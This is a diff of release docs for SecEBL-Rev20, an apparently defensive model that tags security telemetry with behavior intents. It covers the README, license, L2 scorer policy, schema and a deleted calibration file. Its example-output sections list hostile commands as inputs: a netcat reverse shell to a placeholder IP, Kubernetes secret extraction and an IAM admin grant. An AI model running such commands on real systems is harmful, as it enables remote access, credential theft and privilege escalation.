Polish Hugging Face release docs

LICENSE

@@ -20,10 +20,10 @@ control, are controlled by, or are under common control with that entity.
 "Control" means direct or indirect power to direct management, ownership of
 fifty percent (50%) or more of outstanding shares, or beneficial ownership.
 
-"Model Artifacts" means SecEBL-Rev20 model weights, adapters, deltas,
-calibration files, model configuration files, tokenizer additions, evaluation
-artifacts distributed with the model, and other files that are expressly marked
-as licensed under this license.
+"Model Artifacts" means SecEBL-Rev20 model weights, adapters, deltas, model
+configuration files, tokenizer additions, evaluation artifacts distributed with
+the model, and other files that are expressly marked as licensed under this
+license.
 
 "Derivative Model Artifacts" means modified, fine-tuned, merged, converted,
 quantized, distilled, adapted, or otherwise transformed versions of the Model

NOTICE

@@ -1,8 +1,8 @@
 SecEBL-Rev20
 Copyright 2026 SecEBL contributors.
 
-This Hugging Face repository contains SecEBL-Rev20 model artifacts, calibration
-metadata, schema metadata, and an experimental L2 artifact. These model
+This Hugging Face repository contains SecEBL-Rev20 model artifacts, schema
+metadata, and an experimental L2 artifact. These model
 artifacts are licensed under the SecEBL Model License 1.0. See LICENSE.
 
 SecEBL-Rev20 is based on Alibaba-NLP/gte-modernbert-base, which is licensed

README.md

@@ -20,95 +20,363 @@ tags:
 **SecEBL** stands for **Security Event Behavior Labeler**.
 
 SecEBL-Rev20 is an intent-recognition model for security telemetry. It maps a
-Linux command line or normalized Kubernetes AuditLog event into explicit
-behavior-intent tags, so downstream detection can reason about what an actor is
-trying to do instead of only matching fixed strings, blacklists, allowlists, or
-opaque risk scores.
+Linux command line or normalized Kubernetes AuditLog event into ranked
+behavior-intent labels, so downstream detection can reason about what an actor
+is trying to do instead of only matching fixed strings, allowlists, blacklists,
+or opaque risk scores.
 
 Project repository: [github.com/EBWi11/SecEBL](https://github.com/EBWi11/SecEBL)
 
-## Project Context
+## At A Glance
 
-Traditional intrusion-detection systems still rely heavily on blacklists,
-allowlists, signatures, hand-written rules, and low-explainability ML. Those
-tools are useful, but they struggle with living-off-the-land behavior, fast
-syntax drift, and multi-platform telemetry where the same behavior appears in
-different log shapes.
+| Area | Current release summary |
+| --- | --- |
+| Stable public API | L1 behavior-intent labeling with ranked `top_labels`. |
+| Behavior vocabulary | 361 Rev20 behavior-intent tags across 12 security behavior groups. |
+| Training scale | 86,285 internal corpus rows, 82,895 usable training observations, and 118,858 effective command/tag training pairs. |
+| Corpus breadth | Linux commands plus normalized Kubernetes AuditLog events, covering roughly 2,700 distinct Linux first-token/tool forms and common security/operations tooling. |
+| Benchmark scale | 12,594-row internal Linux command benchmark covering all 361 behavior tags, 663 internal Linux sessions, and a 6,286,568-row / 102,117-session pressure stream. |
+| L1 accuracy | 98.49% top5 any-hit and 96.44% micro recall@5 on the internal Linux command benchmark; 100.00% top5 coverage on the K8s evaluation set. |
+| Inference performance | RTX 5090 spot-check: mean 5,308.72 unique cmdlines/s with FP16 + SDPA; exact raw-event cache lookup measured separately at about 1.8M rows/s. |
+| Training setup | `Alibaba-NLP/gte-modernbert-base`, MNRL with hard-negative-aware batches, RTX 5090 32GB, 128 full-pass epochs, batch size 112, about 16.2 hours. |
+
+The public examples are intentionally smaller than the internal benchmark data.
+They exist so users can run the model locally and inspect outputs without access
+to private telemetry. The full training corpora, internal benchmarks, private
+pressure-stream rows, and private run logs are not redistributed because parts
+of them contain real telemetry or real operational context.
+
+## First-Time User Path
+
+Use the companion GitHub repository for the runnable code and this Hugging Face
+repository for model artifacts:
+
+```bash
+git clone https://github.com/EBWi11/SecEBL.git
+cd SecEBL
+
+git lfs install
+git clone https://huggingface.co/willchen0011/SecEBL model_artifacts
 
-SecEBL adds an intent-detection layer. The goal is not to discard rules or
-policy engines, but to give them a better intermediate representation:
-portable, explainable behavior tags such as credential access, remote execution,
-persistence, data staging, cloud privilege changes, or service-health checks.
+pip install -e .
+scripts/run_examples.sh
+```
 
-The model is designed as the L1 layer of SecEBL:
+After the script finishes, inspect:
 
 ```text
-raw security event
-  -> L1 behavior-intent recognition
-  -> L2 session reasoning or another downstream detector
-  -> alert / review / policy
+runs/examples/linux_l1/predictions.jsonl
+runs/examples/k8s_l1/predictions.jsonl
+runs/examples/l2/example_linux_session_results.json
 ```
 
-L1 does not decide that a single event is an intrusion. It produces ranked,
-explainable behavior evidence such as `read_credential_material`,
-`execute_remote_command`, `create_scheduled_task`, `grant_cluster_privilege`,
-or `query_service_health`.
+L1 is the stable behavior-labeling API. It outputs ranked behavior evidence,
+not an intrusion verdict. L2 is optional and experimental; it runs only when an
+L2 artifact such as `model_artifacts/l2_artifacts/logreg.joblib` is available.
 
-## What Is In This Model Repository
+## What This Repository Contains
 
-This Hugging Face repository is the model artifact bundle. It intentionally does
-not include training corpora, full final benchmarks, private pressure-stream
-rows, raw run logs, or internal review files because parts of those materials
-contain real telemetry or real operational context.
+This Hugging Face repository is the model artifact bundle.
 
 | Path | Purpose |
 | --- | --- |
 | `model.safetensors`, tokenizer/config files | SentenceTransformers-compatible SecEBL-Rev20 embedding model. |
-| `semantic_texts.jsonl` | Rev20 tag semantic texts used for L1 retrieval. |
-| `score_calibration.rev20.json` | Release calibration thresholds for tag selection. |
+| `semantic_texts.jsonl` | Rev20 semantic label texts used by the L1 retrieval path. |
 | `schema/tags_schema_rev20.json` | Canonical Rev20 behavior vocabulary, 361 tags across 12 groups. |
 | `l2_artifacts/logreg.joblib` | Experimental L2 logistic-regression session scorer. |
-| `l2_artifacts/tag_risk_policy.rev20.json` | Matching L2 tag-selection and risk-feature policy. |
-| `l2_artifacts/train_summary.json` | Public aggregate L2 training/evaluation summary. |
+| `l2_artifacts/tag_risk_policy.rev20.json` | Matching L2 feature policy. Its tag-selection settings are internal to L2 feature extraction. |
+| `l2_artifacts/train_summary.json` | Public aggregate L2 training/evaluation summary with no raw rows or real session identifiers. |
 | `LICENSE`, `NOTICE` | Model license and attribution notices. |
 
-The companion GitHub release repository
-([EBWi11/SecEBL](https://github.com/EBWi11/SecEBL)) contains the runnable Python
-helpers, public example data, and one-command smoke-test script. Download this
-model repository and point the GitHub helper scripts at it as `MODEL_DIR`.
+This repository does not include the runnable helper scripts. Use
+[EBWi11/SecEBL](https://github.com/EBWi11/SecEBL) for the Python package, public
+examples, and one-command test script.
+
+## Output Shape
+
+L1 predictions expose ranked `top_labels`:
+
+```json
+{
+  "observation_id": "event:0",
+  "command": "nc -e /bin/sh 203.0.113.10 4444",
+  "top_labels": [
+    {
+      "label_id": "spawn_reverse_shell",
+      "score": 0.811,
+      "axis": "execution_and_process"
+    },
+    {
+      "label_id": "connect_external_service",
+      "score": 0.488,
+      "axis": "network"
+    }
+  ]
+}
+```
+
+L1 does not emit `behavior_tags` and does not apply a user-facing tag-selection
+threshold. `behavior_tags[]` is the field used by training and evaluation label
+files. Runtime prediction output is ranked `top_labels`.
+
+## Why Intent Labels Matter
+
+Traditional IDS pipelines often depend on signatures, rules, allowlists,
+blacklists, and low-explainability tabular ML. Those tools still matter, but
+they can struggle when legitimate tools are used in suspicious ways, when tool
+syntax drifts quickly, or when the same behavior appears in different telemetry
+formats.
+
+SecEBL adds an intermediate representation:
+
+```text
+raw security event
+  -> L1 behavior-intent recognition
+  -> L2 session reasoning or another downstream detector
+  -> alert / review / policy
+```
+
+L1 intentionally does not decide that a single event is an intrusion. It
+produces explainable behavior evidence such as `read_credential_material`,
+`execute_remote_command`, `create_scheduled_task`, `grant_cluster_privilege`,
+or `query_service_health`.
+
+This is useful for:
 
-## Rev20 Vocabulary
+- LOLT / living-off-the-land behavior where the tool is legitimate but the
+  behavior may be suspicious in context.
+- Rule-writing lag, where new tool syntax appears faster than signatures can be
+  maintained.
+- Multi-platform telemetry, where Linux commands, Kubernetes audit events, and
+  future telemetry can share a behavior vocabulary.
+- Explainable detection, where an alert should be tied to explicit behavior
+  labels rather than only an opaque score.
 
-Rev20 is a flat behavior-tag schema:
+## Data And Vocabulary
+
+Rev20 is a flat behavior-tag schema.
 
 | Item | Count |
 | --- | ---: |
 | Top-level behavior groups | 12 |
 | Behavior tags | 361 |
 
-The vocabulary was built to represent visible behavior intent rather than final
-maliciousness. This makes the tags useful as an intermediate representation for
-rules, analyst review, session scoring, and later sequence models.
-
-## L1 Evaluation Snapshot
+Schema groups:
 
-Current documented L1 baseline:
+| Group | Tags |
+| --- | ---: |
+| `observation_and_discovery` | 51 |
+| `configuration_and_log_modification` | 12 |
+| `filesystem_and_data` | 33 |
+| `execution_and_process` | 28 |
+| `network` | 51 |
+| `identity_auth_and_secrets` | 31 |
+| `persistence_services_and_storage` | 27 |
+| `kernel_memory_and_tracing` | 14 |
+| `package_build_and_source` | 19 |
+| `database_and_infrastructure_services` | 33 |
+| `containers_and_cloud_native` | 34 |
+| `cloud_control_plane` | 28 |
+
+The release baseline was trained from internal Rev20 corpora:
+
+| Corpus | Rows | Unique behavior tags | Notes |
+| --- | ---: | ---: | --- |
+| Linux command corpus | 85,277 | 361 | Mixed generated, reviewed, and manually expanded command examples. |
+| Kubernetes AuditLog corpus | 1,008 | 40 | Manually authored normalized K8s audit events. |
+
+The Linux corpus covers roughly 2,700 distinct first-token/tool forms by a
+conservative executable-name estimate. Common families include shell utilities,
+network tools, package/build tools, cloud CLIs, IaC tools, container tooling,
+databases, secret stores, and Kubernetes tooling. Frequent examples include
+`curl`, `kubectl`, `aws`, `grep`, `cat`, `systemctl`, `find`, `ssh`, `docker`,
+`git`, `redis-cli`, `journalctl`, `psql`, `gcloud`, `mysql`, `az`, `nmap`,
+`vault`, and `terraform`.
+
+Top Linux corpus tags:
+
+| Tag | Count |
+| --- | ---: |
+| `stage_temporary_path` | 5,179 |
+| `read_credential_material` | 4,512 |
+| `read_infrastructure_config` | 3,427 |
+| `upload_external_content` | 1,886 |
+| `stage_hidden_path` | 1,580 |
+| `search_credentials` | 1,488 |
+| `modify_service_state` | 1,459 |
+| `upload_sensitive_content` | 1,424 |
+| `read_business_data` | 1,378 |
+| `execute_remote_command` | 1,374 |
+
+Top K8s corpus tags:
+
+| Tag | Count |
+| --- | ---: |
+| `modify_workload` | 221 |
+| `enumerate_cluster_resources` | 131 |
+| `modify_cluster_auth_policy` | 53 |
+| `modify_route` | 49 |
+| `execute_in_workload` | 47 |
+| `inspect_workload` | 45 |
+| `grant_cluster_privilege` | 39 |
+| `modify_firewall_policy` | 38 |
+| `modify_verification_material` | 37 |
+| `inspect_auth_policy` | 33 |
+
+## Training Details
+
+The raw training corpora are not redistributed, but the following details are
+documented so readers can understand the model scale and method.
+
+| Item | Value |
+| --- | --- |
+| Base model | `Alibaba-NLP/gte-modernbert-base` |
+| Training objective | `MultipleNegativesRankingLoss` with hard-negative-aware batches |
+| Training hardware | NVIDIA GeForce RTX 5090, 32GB VRAM, `cuda:0` |
+| Epochs | 128 full-pass epochs |
+| Batch size | 112 |
+| Precision | `fp32` |
+| Steps | 1,062 steps per epoch; 135,936 total optimizer steps |
+| Runtime | 58,291 seconds, about 16.2 hours |
+| Sequence length | 160 tokens |
+| Optimizer schedule | learning rate `2e-5`, warmup ratio `0.06`, 8,156 warmup steps, weight decay `0.01` |
+
+Training data scale:
+
+| Training artifact | Count | Notes |
+| --- | ---: | --- |
+| Combined corpus rows | 86,285 | 85,277 Linux command rows plus 1,008 K8s AuditLog rows. |
+| Non-empty training observations | 82,895 | Rows with usable behavior labels after skipping 3,390 abstain rows. |
+| Base command-tag pairs | 117,092 | Positive command/tag pairs before boundary upsampling. |
+| Effective positive pairs | 118,858 | Final pair count after targeted boundary upsampling. |
+| Behavior labels | 361 | Full Rev20 behavior vocabulary used on the label side. |
+
+The Linux corpus is intentionally mixed rather than a single synthetic source.
+The largest source slices are roughly 36.9k generated rows, 28.5k manually
+reviewed rows, 4.0k benchmark-prune/migration rows, 3.6k common-difference gap
+rows, 2.7k reviewed generated rows, 2.6k baseline manual rows, and 2.3k attack
+batch rows, plus smaller targeted boundary, miss-review, public-attack, and
+high-miss batches.
+
+Token lengths are short enough for a compact encoder. Across the final pair set,
+command-side text is p50 32 tokens, p90 55, p95 68, and p99 113; fewer than
+0.3% of examples exceed the 160-token training limit. Label-side semantic texts
+are p50 40 tokens and p95 62.
+
+Hard negatives were designed in two layers:
+
+- Schema-level negatives: the dataset builder used `schema_hard`, with a
+  16-item hard-negative pool and up to 8 negatives per positive before MNRL
+  batching. These negatives come from semantically nearby Rev20 tags, so the
+  model is forced to separate labels such as read-vs-search, inspect-vs-modify,
+  local-vs-remote execution, and similar tool-boundary cases.
+- Batch-level negatives: the training loader used hard-negative-aware MNRL
+  batches. The final run used config
+  `rev20_conservative_20260620_ep96_miss_v11`, covering 74 difficult labels and
+  placing 2 hard-negative labels near each anchor where possible.
+- Boundary upsampling: 1,766 boundary-sensitive pairs were duplicated once,
+  producing 1,766 extra training exposures. These rows target recurring failure
+  modes such as grep/read ambiguity, wrapper commands, tool-specific boundaries,
+  no-hit review cases, and post-evaluation miss-review batches.
+
+## Evaluation Snapshot
+
+The internal benchmark data is not public. The aggregate size, distribution,
+and metrics are public so users can understand what the headline numbers mean.
+
+Evaluation scale:
+
+| Dataset | Rows | Rows with labels | Behavior-tag instances | Unique behavior tags |
+| --- | ---: | ---: | ---: | ---: |
+| Linux internal benchmark | 12,594 | 11,889 | 17,287 | 361 / 361 |
+| K8s evaluation set | 144 | 144 | 163 | 27 / 361 |
+| Combined | 12,738 | 12,033 | 17,450 | 361 / 361 |
 
-```text
-featurize-rev20-20260620-072423-ep128-bs112-latestdata
-```
+Retrieval quality:
 
 | Dataset | Dynamic exact | Top5 any-hit | Top5 all-covered | Micro recall@5 |
 | --- | ---: | ---: | ---: | ---: |
-| Linux final gold | 87.32% | 98.49% | 95.44% | 96.44% |
-| K8s final gold | 99.31% | 100.00% | 100.00% | 100.00% |
+| Linux internal benchmark | 87.32% | 98.49% | 95.44% | 96.44% |
+| K8s evaluation set | 99.31% | 100.00% | 100.00% | 100.00% |
 | Combined | 87.47% | 98.50% | 95.50% | 96.47% |
 
-These metrics were measured on withheld internal final-gold evaluation sets, not
-on the public example subset. The Linux final gold covers the full 361-tag
-Rev20 vocabulary and includes dense multi-tag command rows. The K8s result
-should be read as a small-domain sanity result because the current K8s corpus is
-much smaller than the Linux corpus.
+The Linux benchmark covers the complete 361-tag Rev20 vocabulary and includes
+complex multi-tag command rows. The K8s result should be read as a small-domain
+sanity result rather than broad Kubernetes coverage because the current K8s
+corpus is much smaller than the Linux corpus.
+
+Internal Linux benchmark tag cardinality:
+
+| Tags per row | Rows |
+| --- | ---: |
+| 0 | 705 |
+| 1 | 8,829 |
+| 2 | 1,567 |
+| 3 | 901 |
+| 4 | 402 |
+| 5 | 139 |
+| 6+ | 51 |
+
+Top internal Linux benchmark tags:
+
+| Tag | Count |
+| --- | ---: |
+| `stage_temporary_path` | 987 |
+| `inspect_network_state` | 801 |
+| `stage_hidden_path` | 655 |
+| `inspect_current_identity` | 578 |
+| `read_credential_material` | 551 |
+| `inspect_system_state` | 481 |
+| `inspect_infrastructure_service` | 390 |
+| `query_dns_records` | 372 |
+| `enumerate_filesystem` | 365 |
+| `search_credentials` | 315 |
+
+## Example Outputs
+
+These examples show the user-facing L1 output style. Scores are cosine/retrieval
+scores after the release prompt profile. The public helper scripts save top
+labels in `predictions.jsonl`.
+
+| Event | Top 3 L1 tags | Note |
+| --- | --- | --- |
+| `nc -e /bin/sh 203.0.113.10 4444` | <code>spawn_reverse_shell</code> 0.811<br><code>connect_external_service</code> 0.488<br><code>spawn_bind_shell</code> 0.451 | `-e` is recognized as reverse-shell execution. |
+| `nc -v 203.0.113.10 443` | <code>connect_external_service</code> 0.732<br><code>spawn_reverse_shell</code> 0.503<br><code>create_reverse_tunnel</code> 0.412 | Connection intent ranks above shell-spawn intent. |
+| `cat /root/install.log` | <code>read_business_log</code> 0.641<br><code>read_system_log</code> 0.431<br><code>read_workload_logs</code> 0.385 | Log-read semantics dominate. |
+| `cat /root/install.conf` | <code>read_infrastructure_config</code> 0.620<br><code>read_system_config</code> 0.612<br><code>read_kernel_parameter</code> 0.336 | Config-read semantics dominate. |
+| `kubectl -n prod get secret payment-api-token -o jsonpath={.data.token} \| base64 -d` | <code>read_cluster_secret</code> 0.730<br><code>decode_data</code> 0.716<br><code>read_credential_material</code> 0.363 | K8s secret extraction and decoding. |
+| `aws iam attach-user-policy --user-name temp --policy-arn arn:aws:iam::aws:policy/AdministratorAccess` | <code>grant_cloud_privilege</code> 0.838<br><code>modify_cloud_identity_policy</code> 0.535<br><code>modify_cloud_identity</code> 0.459 | Cloud privilege escalation semantics. |
+| `curl -fsS http://127.0.0.1:8080/healthz` | <code>query_service_health</code> 0.840<br><code>inspect_local_kubernetes_cluster</code> 0.459<br><code>inspect_container_runtime</code> 0.383 | Local service health check. |
+
+## Runtime Performance
+
+SecEBL-Rev20 is a SentenceTransformers-style embedding retriever over 361 Rev20
+tag definitions. The serving path embeds the event, embeds or loads tag
+definition embeddings, then ranks tags by similarity.
+
+Current single-card CUDA recommendation:
+
+| Setting | Value |
+| --- | --- |
+| Precision | FP16 |
+| Attention | SDPA |
+| `max_seq_length` | 160 |
+| Batch size | 224 default; 384 was slightly faster in one RTX 5090 sweep but not enough to replace the stable default |
+| Sorting | `sort_by=char` |
+| Padding | dynamic, no forced pad alignment |
+| Output path | GPU tensor output plus GPU top-k |
+
+Measured on an NVIDIA GeForce RTX 5090 32GB spot-check:
+
+| Mode | Throughput |
+| --- | ---: |
+| Recommended no-cache unique inference, `bs224` | mean 5,308.72 unique cmdlines/s |
+| Recommended no-cache latency, `bs224` | about 0.1884 ms per unique cmdline |
+| `bs224` repeat range | 5,025.47 - 5,433.78 unique cmdlines/s |
+| Best quick-sweep point, `bs384` | 5,378.45 unique cmdlines/s |
+
+Exact raw-event cache lookup was measured separately at mean 1,817,462.76
+rows/s. Cache hits reuse saved L1 top-k results and do not run model inference.
 
 ## L2 Artifact
 
@@ -116,26 +384,39 @@ This repository includes an experimental fitted L2 session scorer so the
 companion GitHub `scripts/run_examples.sh` can run the public Linux example
 sessions end to end when this model directory is used as `MODEL_DIR`.
 
-L2 consumes cached L1 `top_labels` and selected behavior tags. It does not use
-raw command text, user names, host names, or session ids as runtime scoring
-features. The included L2 artifact is a research/reproducibility component, not
-a general production IDS claim.
+In this release, a **session** is a sequence of events grouped by `session_id`.
+L1 labels each event independently. L2 scores the whole session by aggregating
+cached L1 ranked tags, retrieval scores, tag diversity, behavior transitions,
+and routine-operation context. The L2 output is a session-level verdict such as
+`intrusion` or `normal_operation`, not a replacement for per-command behavior
+tags.
+
+For compatibility with the released L2 artifact, L2 derives its session
+features from cached L1 `top_labels` using an internal selected-tag feature
+path. In plain terms, L2 filters the cached ranked labels inside its own feature
+builder before session scoring. This does not change L1 prediction output:
+users still receive ranked `top_labels`, not a selected `behavior_tags` field.
+
+Runtime L2 does not use raw command text, user names, host names, or session ids
+as scoring features. Session ids may appear in private data-prep workflows for
+label assignment, but they are not runtime allow/deny lists.
 
 Internal L2 summary:
 
 | Check | Result |
 | --- | ---: |
-| Withheld Linux final sessions | 663 sessions, 100.00% accuracy in the fitted check |
+| Withheld Linux session benchmark | 663 sessions, 365 TP, 298 TN, 0 FP, 0 FN |
 | 7M pressure-stream fit-check | 6,286,568 rows, 102,117 sessions, 61 alert sessions |
-| OOF validation | 99.39% accuracy, 96.44% attack precision, 95.31% attack recall |
+| OOF validation | 5,747 sessions, 99.39% accuracy, 96.44% attack precision, 95.31% attack recall |
 
 The 7M pressure-stream result was measured on real background telemetry plus
 embedded synthetic attack sessions. The underlying rows and real session
-identifiers are not redistributed.
+identifiers are not redistributed. The included L2 artifact is a
+research/reproducibility component, not a general production IDS claim.
 
-## Basic Loading
+## Direct SentenceTransformers Loading
 
-Load the embedding model directly with SentenceTransformers:
+You can load the embedding model directly:
 
 ```python
 from sentence_transformers import SentenceTransformer
@@ -143,25 +424,12 @@ from sentence_transformers import SentenceTransformer
 model = SentenceTransformer("willchen0011/SecEBL")
 ```
 
-SecEBL is a retrieval-style labeler: encode the event, encode the Rev20 semantic
-tag texts from `semantic_texts.jsonl`, rank by cosine similarity, then apply the
-matching calibration thresholds. For normal use, prefer the companion GitHub
-helpers because they keep prompt profile, calibration, top-k saving, and L2
-inputs aligned.
-
-Example with the companion repository checked out next to this model snapshot:
-
-```bash
-git clone https://github.com/EBWi11/SecEBL.git
-cd SecEBL
-git lfs install
-git clone https://huggingface.co/willchen0011/SecEBL model_artifacts
-scripts/run_examples.sh
-```
-
-That script runs Linux and K8s public example L1 evaluation. Because this model
-repository includes `l2_artifacts/logreg.joblib`, it also runs the Linux public
-example L2 session scorer by default.
+Direct loading gives you the encoder only. SecEBL is a retrieval-style labeler:
+encode the event, encode or load the Rev20 semantic label texts from
+`semantic_texts.jsonl`, rank labels by cosine similarity, and save the top-k
+labels. For normal use, prefer the companion GitHub helpers because they keep
+the prompt profile, semantic text loading, top-k output format, and optional L2
+feature path aligned with this release.
 
 ## Intended Use
 
@@ -169,7 +437,7 @@ example L2 session scorer by default.
 - Internal security detection, investigation, and triage for systems an
   organization owns, operates, administers, or is explicitly authorized to
   defend.
-- Building session-level risk scoring over SecEBL behavior-tag streams.
+- Building session-level risk scoring over SecEBL behavior-label streams.
 
 ## Out Of Scope
 
@@ -182,8 +450,8 @@ example L2 session scorer by default.
 ## License
 
 The model artifacts are released under **SecEBL Model License 1.0**. This is an
-open-weight restricted-use model license, not Apache-2.0 and not an OSI-approved
-open source license.
+open-weight restricted-use model license, not Apache-2.0 and not an
+OSI-approved open source license.
 
 The base model is `Alibaba-NLP/gte-modernbert-base`, which is Apache-2.0.
 Source code, schemas, public examples, and helper scripts in the companion

l2_artifacts/README.md

@@ -5,45 +5,47 @@ It is included so the companion GitHub `scripts/run_examples.sh` can run public
 Linux example-session scoring by default when this Hugging Face model snapshot
 is used as `MODEL_DIR`.
 
-Run tags:
-
-```text
-L1: featurize-rev20-20260620-072423-ep128-bs112-latestdata
-L2: featurize-rev20-20260620-072423-ep128-bs112-latestdata-l2hn27-lenctx-semcal-20260621
-```
-
 ## Files
 
 | Path | Purpose |
 | --- | --- |
 | `logreg.joblib` | Fitted logistic-regression L2 session-risk model. |
-| `tag_risk_policy.rev20.json` | Matching tag-selection and L2 risk-feature policy. |
+| `tag_risk_policy.rev20.json` | Matching L2 feature policy. Its tag-selection settings are internal to L2 feature extraction. |
 | `train_summary.json` | Public aggregate training/evaluation summary with no raw rows or real session identifiers. |
 
 The release does not include the L2 training JSONL, raw pressure-stream archive,
-full final sessions, per-session pressure results, alert JSONL, source-code
+full internal sessions, per-session pressure results, alert JSONL, source-code
 copies, or private run logs. Use the companion GitHub repository for source
 code and public example data.
 
 ## Scope
 
-L2 consumes cached L1 outputs and aggregates semantic session features such as
-tag ratios, marker diversity, retrieval-score summaries, professional/routine
-operation ratios, and compact attack-chain indicators.
+L2 is an experimental session scorer. A session is a sequence of events grouped
+by `session_id`. L1 labels each event independently; L2 scores the whole session
+by aggregating cached L1 ranked tags, retrieval scores, tag diversity, behavior
+transitions, and routine-operation context.
 
 Runtime L2 does not use raw command text, user names, host names, or session ids
 as scoring features. Session ids may appear in private data-prep workflows for
 label assignment, but they are not runtime allow/deny lists.
 
+For compatibility with the released L2 artifact, L2 derives its session
+features from cached L1 `top_labels` using an internal selected-tag feature
+path. This does not change L1 prediction output: users still receive ranked
+`top_labels`, not a selected `behavior_tags` field.
+
 ## Public Summary
 
 | Check | Result |
 | --- | ---: |
-| Fitted withheld Linux final-session check | 663 sessions, 365 TP, 298 TN, 0 FP, 0 FN |
+| Fitted withheld Linux session benchmark | 663 sessions, 365 TP, 298 TN, 0 FP, 0 FN |
 | 7M pressure-stream fit-check | 6,286,568 rows, 102,117 sessions, 61 alert sessions |
 | OOF validation | 5,747 sessions, 99.39% accuracy, 96.44% attack precision, 95.31% attack recall |
 
-The high final-session accuracy is scoped to the current fitted internal
+The high session benchmark accuracy is scoped to the current fitted internal
 experiment. It is evidence that this L2 setup works well on the current complex
 internal benchmark and pressure-data fit-check, not an independent claim of
 general production IDS accuracy.
+
+Use the companion GitHub helpers so feature extraction matches the released L2
+artifact.

l2_artifacts/tag_risk_policy.rev20.json

@@ -66,11 +66,10 @@
       "family": "persistence"
     }
   },
-  "global_score_floor": 0.45,
   "max_tags_per_command": 4,
   "min_tag_score": 0.55,
   "multi_label_gap": 0.12,
-  "notes": "Rev20 flat behavior-tag session risk policy. L1 tag selection uses the single balanced-gap path: top1 must pass calibration, then very close threshold-passing secondary labels within multi_label_gap are retained up to max_tags_per_command. Tag-level points describe intrinsic behavior risk; session-level aggregation combines evidence, diversity, routine maintenance, and professional operations context. scoring_professional_operations is a negative context signal only when professional tags are dominant, anchor evidence is present, explicit attacks are absent, and non-professional hard attack markers are absent. It is not a command or tag whitelist.",
+  "notes": "Rev20 flat behavior-tag session risk policy. L2 derives session features from cached L1 top_labels using an internal tag-selection path that matches the released L2 model artifact. This does not change L1 prediction output: users still receive ranked top_labels, not a selected behavior_tags field. Tag-level points describe intrinsic behavior risk; session-level aggregation combines evidence, diversity, routine maintenance, and professional operations context. scoring_professional_operations is a negative context signal only when professional tags are dominant, anchor evidence is present, explicit attacks are absent, and non-professional hard attack markers are absent. It is not a command or tag whitelist.",
   "operational_context_markers": [
     "cloud_identity",
     "identity_policy",

l2_artifacts/train_summary.json

@@ -1,7 +1,7 @@
 {
   "schema": "secebl_rev20_l2_public_summary_v1",
-  "l1_run": "featurize-rev20-20260620-072423-ep128-bs112-latestdata",
-  "l2_run": "featurize-rev20-20260620-072423-ep128-bs112-latestdata-l2hn27-lenctx-semcal-20260621",
+  "l1_release": "SecEBL-Rev20 public L1 release",
+  "l2_release": "SecEBL-Rev20 public L2 artifact",
   "model_type": "logistic_regression_session_scorer",
   "scoring_scope": "experimental fitted L2 session scorer over cached L1 semantic features",
   "runtime_feature_exclusions": [
@@ -30,7 +30,7 @@
     "fp": 15,
     "tn": 5306
   },
-  "withheld_final_session_fit_check": {
+  "withheld_session_benchmark_fit_check": {
     "sessions": 663,
     "rows_seen": 12594,
     "attack_sessions": 365,

schema/tags_schema_rev20.json

@@ -4,13 +4,13 @@
   "vocabulary_revision": 20,
   "status": "draft_pending_manual_reverse_review",
   "purpose": "Objective single-command Linux behavior recognition using one flat vocabulary of complete detection-relevant behaviors.",
-  "model_output": {
+  "label_row_schema": {
     "behavior_tags": [
       "zero or more visible complete behavior labels"
     ]
   },
   "invariants": [
-    "The model emits one flat behavior_tags array; groups exist only for vocabulary maintenance.",
+    "Training and evaluation label rows use one flat behavior_tags array; prediction output exposes ranked top_labels.",
     "Each label describes a complete visible behavior rather than a fragment that downstream code must recombine.",
     "Labels may combine an operation with a stable target, scope, direction, or execution form when that combination materially changes detection meaning.",
     "Emit the most-specific applicable behavior and suppress its generic parent behavior.",

score_calibration.rev20.json

@@ -1,1891 +0,0 @@
-{
-  "axis_thresholds": {
-    "cloud_control_plane": {
-      "threshold": 0.6849,
-      "tp_p50": 0.7858,
-      "tp_samples": 3877
-    },
-    "configuration_and_log_modification": {
-      "threshold": 0.5729,
-      "tp_p50": 0.7522,
-      "tp_samples": 3377
-    },
-    "containers_and_cloud_native": {
-      "threshold": 0.6272,
-      "tp_p50": 0.7672,
-      "tp_samples": 7405
-    },
-    "database_and_infrastructure_services": {
-      "threshold": 0.6013,
-      "tp_p50": 0.7376,
-      "tp_samples": 10039
-    },
-    "execution_and_process": {
-      "threshold": 0.5419,
-      "tp_p50": 0.6715,
-      "tp_samples": 8078
-    },
-    "filesystem_and_data": {
-      "threshold": 0.4651,
-      "tp_p50": 0.5904,
-      "tp_samples": 15305
-    },
-    "identity_auth_and_secrets": {
-      "threshold": 0.6071,
-      "tp_p50": 0.7482,
-      "tp_samples": 5560
-    },
-    "kernel_memory_and_tracing": {
-      "threshold": 0.6668,
-      "tp_p50": 0.7787,
-      "tp_samples": 1768
-    },
-    "network": {
-      "threshold": 0.541,
-      "tp_p50": 0.6974,
-      "tp_samples": 20337
-    },
-    "observation_and_discovery": {
-      "threshold": 0.5103,
-      "tp_p50": 0.6811,
-      "tp_samples": 29944
-    },
-    "package_build_and_source": {
-      "threshold": 0.6235,
-      "tp_p50": 0.7606,
-      "tp_samples": 5751
-    },
-    "persistence_services_and_storage": {
-      "threshold": 0.6133,
-      "tp_p50": 0.7706,
-      "tp_samples": 5651
-    }
-  },
-  "counts": {
-    "eval_rows": 82895,
-    "labels_with_threshold": 361,
-    "semantic_labels": 361,
-    "sparse_labels": 0,
-    "tp_observations": 117092
-  },
-  "default_threshold": 0.531,
-  "global_floor": 0.45,
-  "label_thresholds": {
-    "append_system_log": {
-      "threshold": 0.5597,
-      "tp_p50": 0.7486,
-      "tp_samples": 609
-    },
-    "apply_infrastructure_template": {
-      "threshold": 0.6683,
-      "tp_p50": 0.7477,
-      "tp_samples": 139
-    },
-    "archive_sensitive_content": {
-      "threshold": 0.5092,
-      "tp_p50": 0.5666,
-      "tp_samples": 592
-    },
-    "attach_multiplexer_session": {
-      "threshold": 0.7399,
-      "tp_p50": 0.8292,
-      "tp_samples": 102
-    },
-    "attach_process_debugger": {
-      "threshold": 0.6326,
-      "tp_p50": 0.71,
-      "tp_samples": 248
-    },
-    "attempt_remote_authentication": {
-      "threshold": 0.5069,
-      "tp_p50": 0.5863,
-      "tp_samples": 631
-    },
-    "authenticate_cloud_cli": {
-      "threshold": 0.6809,
-      "tp_p50": 0.7282,
-      "tp_samples": 123
-    },
-    "build_container_image": {
-      "threshold": 0.639,
-      "tp_p50": 0.7632,
-      "tp_samples": 261
-    },
-    "build_source_code": {
-      "threshold": 0.5956,
-      "tp_p50": 0.7638,
-      "tp_samples": 980
-    },
-    "capture_network_flows": {
-      "threshold": 0.7264,
